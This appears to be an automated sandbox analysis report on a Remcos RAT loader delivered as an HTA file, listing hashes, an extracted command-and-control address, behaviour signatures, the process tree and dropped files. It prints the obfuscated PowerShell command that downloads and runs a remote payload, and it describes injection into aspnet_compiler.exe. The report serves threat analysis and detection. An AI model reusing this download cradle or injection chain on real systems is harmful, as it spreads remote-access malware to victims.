Analysis
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max time kernel
150s -
max time network
149s -
platform
windows7_x64 -
resource
win7v20210410 -
submitted
21-04-2021 14:40
Static task
static1
Behavioral task
behavioral1
Sample
Appraisa.vbs
Resource
win7v20210408
Behavioral task
behavioral2
Sample
Appraisa.vbs
Resource
win10v20210410
Behavioral task
behavioral3
Sample
Property.hta
Resource
win7v20210410
General
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Target
Property.hta
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Size
892B
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MD5
aa6ce10d162230b25a61485b825e63f7
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SHA1
3c67a18949e8ce67895f3faecd1ad0700afcb676
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SHA256
59d9dea1d62242b9bef74b91343ed8ef56525dfd9d0a9014494f487a15686fc0
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SHA512
5f4d58f15b5020fb0506ce52b09737ba7beb0743a1bc1b77086ec16875f30e3114e84ae3f8a18b19755634ec124cb5254da2d24901317ab98591b20750c9de45
Malware Config
Extracted
remcos
194.5.97.183:8888
Signatures
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Blocklisted process makes network request 4 IoCs
Processes:
powershell.exeflow pid process 7 1996 powershell.exe 9 1996 powershell.exe 11 1996 powershell.exe 13 1996 powershell.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 1724 set thread context of 1780 1724 powershell.exe aspnet_compiler.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Processes:
mshta.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main mshta.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exepowershell.exepid process 1996 powershell.exe 1996 powershell.exe 1724 powershell.exe 1724 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 1996 powershell.exe Token: SeDebugPrivilege 1724 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
aspnet_compiler.exepid process 1780 aspnet_compiler.exe -
Suspicious use of WriteProcessMemory 21 IoCs
Processes:
mshta.exepowershell.exepowershell.exedescription pid process target process PID 1052 wrote to memory of 1996 1052 mshta.exe powershell.exe PID 1052 wrote to memory of 1996 1052 mshta.exe powershell.exe PID 1052 wrote to memory of 1996 1052 mshta.exe powershell.exe PID 1052 wrote to memory of 1996 1052 mshta.exe powershell.exe PID 1996 wrote to memory of 1724 1996 powershell.exe powershell.exe PID 1996 wrote to memory of 1724 1996 powershell.exe powershell.exe PID 1996 wrote to memory of 1724 1996 powershell.exe powershell.exe PID 1996 wrote to memory of 1724 1996 powershell.exe powershell.exe PID 1724 wrote to memory of 1780 1724 powershell.exe aspnet_compiler.exe PID 1724 wrote to memory of 1780 1724 powershell.exe aspnet_compiler.exe PID 1724 wrote to memory of 1780 1724 powershell.exe aspnet_compiler.exe PID 1724 wrote to memory of 1780 1724 powershell.exe aspnet_compiler.exe PID 1724 wrote to memory of 1780 1724 powershell.exe aspnet_compiler.exe PID 1724 wrote to memory of 1780 1724 powershell.exe aspnet_compiler.exe PID 1724 wrote to memory of 1780 1724 powershell.exe aspnet_compiler.exe PID 1724 wrote to memory of 1780 1724 powershell.exe aspnet_compiler.exe PID 1724 wrote to memory of 1780 1724 powershell.exe aspnet_compiler.exe PID 1724 wrote to memory of 1780 1724 powershell.exe aspnet_compiler.exe PID 1724 wrote to memory of 1780 1724 powershell.exe aspnet_compiler.exe PID 1724 wrote to memory of 1780 1724 powershell.exe aspnet_compiler.exe PID 1724 wrote to memory of 1780 1724 powershell.exe aspnet_compiler.exe
Processes
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C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\Property.hta"1⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $v0 ='N#t.@@#b'.Replace('#','e').Replace('@@','w');$v00 = '%li!!'.Replace('%','C').Replace('!!','ent');$V000 = 'D$$$$$$$$$$$n%%%%%%%%%%%%ng'.Replace('%%%%%%%%%%%%','loadStri').Replace('$$$$$$$$$$$','ow');$v1 = '$e^'.replace('$','I').replace('^','x');$v9999 = '(Ne`W&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&00(''https://ia601509.us.archive.org/35/items/all_20210420_20210420_1440/ALL.TXT'')'.Replace('&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&','-O`BjEcT $v0$v00 ).$V0');$TC=I`E`X ($v9999 -Join '')|I`E`X2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windo 1 -noexit -exec bypass -file "C:\Users\Public\ Microsoft.ps1"3⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"4⤵
- Suspicious use of SetWindowsHookEx
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1602f747-c1a3-4345-8dec-4dcb8b1f72e5MD5
02ff38ac870de39782aeee04d7b48231
SHA10390d39fa216c9b0ecdb38238304e518fb2b5095
SHA256fbd66a9baf753db31b8de23f2d51b67f8676687503653103080c45b16f1dc876
SHA51224a1ff76ee42ff7a5ea42843928c4df07b06178f7781cd840e1e086e88735d81506eb67259ff1e6ce5aaa7c5baea03886da265eb7e025ff4dc4c4b5f8cd3e341
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_2d686436-375c-4ee1-bd4a-9e44ccd248baMD5
75a8da7754349b38d64c87c938545b1b
SHA15c28c257d51f1c1587e29164cc03ea880c21b417
SHA256bf08151c174b5d00c9dbc7907b2c6a01b4be76bfa3afce1e8bd98a04ad833c96
SHA512798797bc74c56c874e9a5fdcb0157c04e37a1b3cce285ef064b01bceef8cec45f11a5198918c6c647220b62883606b5e12e3cca3ea369f3a66e69dea6e15f643
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_4375eeb7-a65d-43f1-a616-02c5ad6c5370MD5
be4d72095faf84233ac17b94744f7084
SHA1cc78ce5b9c57573bd214a8f423ee622b00ebb1ec
SHA256b0d72c5c22e57913476ac8fc686a4593f137c6667d5094522c0a0685dabd7adc
SHA51243856e9b1032b8690ceea810c931bed3655e9190414bb220fb6afc136f31b8335e07604dffb28405d4006f266a54cff424c527d29924b1b732c9647a3252b097
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6fe5bd95-2cea-4aea-9c8c-dd67bac4295bMD5
df44874327d79bd75e4264cb8dc01811
SHA11396b06debed65ea93c24998d244edebd3c0209d
SHA25655de642c5c9e436ec01c57004dae797022442c3245daf7162d19a5585f221181
SHA51295dc9298b8db059bbe746f67e6a7f8515781c7053cc60c01532e47623a996be7e1bd23d1bd8f5f2045adff27454f44930d503c15b695690088841cedbd2a06c3
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_bc2fe8ee-69c0-48ce-8821-1fab80ab4eebMD5
597009ea0430a463753e0f5b1d1a249e
SHA14e38b8bb65ecbd5c9f0d3d8c47f7caba33de6c62
SHA2563fd2a8217a845c43dbc0dc206c28be81d2687aa9ba62019d905aef10cfaec45d
SHA5125d722fa908e64575b2497c60d142e182011a10c6ed33813b3b4796b3147ece1bc96938518b4c8911a1bac3b7560528ebe3e8e754c11015516d335df5d7c6871d
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fa12b0a1-3d6a-4bab-a74a-253a75ca0598MD5
5e3c7184a75d42dda1a83606a45001d8
SHA194ca15637721d88f30eb4b6220b805c5be0360ed
SHA2568278033a65d1ff48be4d86e11f87930d187692f59f8bf2f0a9d170de285afb59
SHA512fae99b6e9b106e0f1c30aa4082b25ae1ad643455c1295c2c16ad534e3e611b9b08492353ffe1af1cfdddc9b2b7c330747a64012c45e62b8f4a4982dcc214e05b
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fd9bf4da-ec38-4847-85c5-d50f35796d4cMD5
a725bb9fafcf91f3c6b7861a2bde6db2
SHA18bb5b83f3cc37ff1e5ea4f02acae38e72364c114
SHA25651651f27f54c7261887037aa1de4eff0a26c6807906dfc34a15cd5a0b58a8431
SHA5121c4b21dd5660bfec8347257bb3da64681b0a97c427790d9ab3484f687dac032bcff0e07876635953697b00cf83e7d37f97c44e0219627fd0533f60ed3024b97e
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fe80cd26-0cf7-4e38-9884-6dab53b04ca9MD5
b6d38f250ccc9003dd70efd3b778117f
SHA1d5a17c02cac698d4f0a4a9b7d71db2aa19e3f18a
SHA2564de9d7b5ccab7b67ca8efc83084c7ee6e5e872b7216ed4683bc5da950bf41265
SHA51267d8195836b7f280d3f9219fd0f58276342e55d5dfdd8a4c54355030d96685d73f1b2b6da0eb39322ec7c3a1d1c5ef06b52d22646cea30a96f822de1800d31e9
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndexMD5
dce59b70adc431fb5ead81b557614b55
SHA1379b9f6216ac0b092f2c47f8d72f0cda41902364
SHA256cbf5ebd176bbc784d2512a15faf3019caa768bafc2b06aa5cf3c3fe4f8f587b7
SHA5126eb785c7220afa22c74ef6cac4fa3fc77893e98f91b598307447229666450bb918706682191316dc891aa10836b623b3ab23260022d43eed60022ae4cf5f3959
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msMD5
f93a2ae510ff0d6e893cce106d023d6d
SHA12fc60d8ceebbbe84bd5299b7436bcd72966a8dd9
SHA2569f5d9a09d7b2a7bfdd96dd6078256bf5b73df369c2c43a401f617fee87961ca9
SHA512a94961a70fcaa01ea01df3eded7b7b041efe2b70fd61f944c830826f6f18d95d9e3db5823b25f304c193ed82161bffd5ea8de499fb0499cbadcaea07b9601c95
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C:\Users\Public\ Microsoft.ps1MD5
eda0264cc0baa7804ce2a32a99aa9b98
SHA1274b4d04e802370cac624649ea30149dded4e053
SHA256950cc79c3173d2a1ad76a7b8e64c9100ca929caf0201396758380ff2d712680f
SHA51243f6dd07e297c157f54147aa34512b4812f2650f990865c81181e14d379bf12352fcc3c2d20fbfb535d8bf2a3b5ebc7ab6aa0cd47ab498f0d1f5818e41bf9a74
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memory/1724-91-0x00000000049B2000-0x00000000049B3000-memory.dmpFilesize
4KB
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memory/1724-105-0x0000000002010000-0x0000000002028000-memory.dmpFilesize
96KB
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memory/1724-85-0x0000000000000000-mapping.dmp
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memory/1724-90-0x00000000049B0000-0x00000000049B1000-memory.dmpFilesize
4KB
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memory/1780-109-0x0000000000400000-0x0000000000478000-memory.dmpFilesize
480KB
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memory/1780-107-0x000000000042EEEF-mapping.dmp
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memory/1780-106-0x0000000000400000-0x0000000000478000-memory.dmpFilesize
480KB
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memory/1996-65-0x00000000024C0000-0x00000000024C1000-memory.dmpFilesize
4KB
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memory/1996-62-0x00000000049E0000-0x00000000049E1000-memory.dmpFilesize
4KB
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memory/1996-69-0x0000000005670000-0x0000000005671000-memory.dmpFilesize
4KB
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memory/1996-66-0x0000000004750000-0x0000000004751000-memory.dmpFilesize
4KB
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memory/1996-83-0x0000000006300000-0x0000000006301000-memory.dmpFilesize
4KB
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memory/1996-64-0x00000000049A2000-0x00000000049A3000-memory.dmpFilesize
4KB
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memory/1996-63-0x00000000049A0000-0x00000000049A1000-memory.dmpFilesize
4KB
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memory/1996-74-0x00000000056C0000-0x00000000056C1000-memory.dmpFilesize
4KB
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memory/1996-61-0x0000000001C50000-0x0000000001C51000-memory.dmpFilesize
4KB
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memory/1996-60-0x0000000075721000-0x0000000075723000-memory.dmpFilesize
8KB
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memory/1996-75-0x0000000006270000-0x0000000006271000-memory.dmpFilesize
4KB
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memory/1996-59-0x0000000000000000-mapping.dmp
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memory/1996-82-0x00000000061A0000-0x00000000061A1000-memory.dmpFilesize
4KB
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memory/1996-84-0x000000007EF30000-0x000000007EF31000-memory.dmpFilesize
4KB